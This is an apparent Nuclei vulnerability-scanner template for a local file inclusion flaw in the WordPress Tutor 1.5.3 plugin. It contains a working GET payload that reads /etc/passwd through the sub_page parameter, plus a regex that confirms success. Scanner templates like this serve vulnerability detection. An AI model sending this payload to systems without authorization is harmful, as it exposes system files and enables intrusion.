id: wp-tutor-lfi

info:
  name: WordPress tutor 1.5.3 - Local File Inclusion
  author: 0x240x23elu
  severity: high
  description: WordPress tutor.1.5.3 is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/48058
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/tutor/views/pages/instructors.php?sub_page=/etc/passwd"

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
# digest: 4b0a004830460221008312386d728a3ce9c89a568f06fa79ef13fef90d099bc5f8e15360af58aed5a1022100abac0db59fb1b4692e2735434427e666f1cc0d34d6180ee5ad32d87ff4ac8ca6:922c64590222798bb761d5b6d8e72950